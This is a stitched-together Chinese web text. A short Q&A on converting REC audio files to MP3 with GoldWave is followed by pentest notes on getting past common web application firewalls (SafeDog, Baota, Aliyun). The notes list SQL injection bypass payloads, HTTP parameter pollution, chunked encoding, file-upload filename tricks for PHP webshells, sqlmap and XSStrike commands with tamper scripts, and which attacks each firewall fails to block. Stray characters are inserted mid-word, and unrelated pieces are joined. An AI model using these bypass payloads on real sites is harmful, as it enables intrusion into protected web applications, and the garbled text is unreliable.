用什么来播放RCE格式的录音，或将REC格式转成mp3格式？

你可以用GoldWave来转换呀，这个软件很好用巧芦的呢，你可以把录音文件到如进来之后另存为别的格式。另外REC不是录音格式，一般是wav或act的文件呦。

下载地洞告址：http://www.onlinedown.net/soft/5237.htm

另外，这个软件还可以做一些音频处理，你可以慢慢学学习的，还可以用作公式编辑，理论上可以得到你要的各种声音呦，不懂你可以加我纳宽明的QQ：315483748。

我很乐意帮你的

1、速度流量问题

2、工具的指纹被识别

3、工具的检测Poc或Payload

1、SQL注入&文件上传绕过

2、XSS跨站&其他漏洞绕过

3、HPP污染&垃圾数据&分块等

SQL注入 https://www.cnblogs.com/cute-puli/p/11146625.html

关键字替换

http://192.168.0.100:8081/sqlilabs/Less-2/?id=1 like 1

http://192.168.0.100:8081/sqlilabs/Less-2/?id=1 like 12

更换提交方式：

POST id=-1 union select 1,2,3--+

模拟文件上传 传递数据

分块传输：更改数据请求格式

https://github.com/c0ny1/chunked-coding-converter

HPP参数污染：裤慎态id=1/* &id=-1%20union%20select%201,2,3%23 /

文件上传：换行解析&垃圾溢出&%00干扰&=符号干扰&参数模拟

filename=a.php

filename="a.php

filename="a.php%00"

垃圾数据filename="a.php"

无限filenamefilename="a.php"

filename=="a.php"

filename="name='uploadfile.php"

filename="Content-Disposition: form-data.php"

filename=="a.ph

p"

python sqlmap.py -u " http://test.xiaodi8.com/pikachu/vul/sqli/sqli_str.php?name=*&submit=%E6%9F%A5%E8%AF%A2 " --random-agent --tamper= rdog.py --proxy=" http://tps118.kdlapi.com:15818 "

格式替换

https://github.com/s0md3v/XSStrike

python xsstrike.py -u " http://test.xiaodi8.com/pikachu/vul/xss/xss_reflected_get.php?message=1&submit=submit " --proxy

txt= y)&submit=%E6%8F%90%E4%BA%A4

文件包含：没什么好说的就这几种

..\ ..../ ...\等

安孝轿全狗：

注入 xss 文件上传拦截

rce 文件包含 等其他不拦截

宝塔：

注入 上传拦截

rce 文件包含 xss等其他不拦截

其中拦截的是关键字

aliyun

拦截的CC速度 和 后门 信息收胡源集和权限维持阶段拦截

漏洞利用 他不拦截 默认的版本（升级版本没测试）

WAF PHP环境 JAVA不支持

---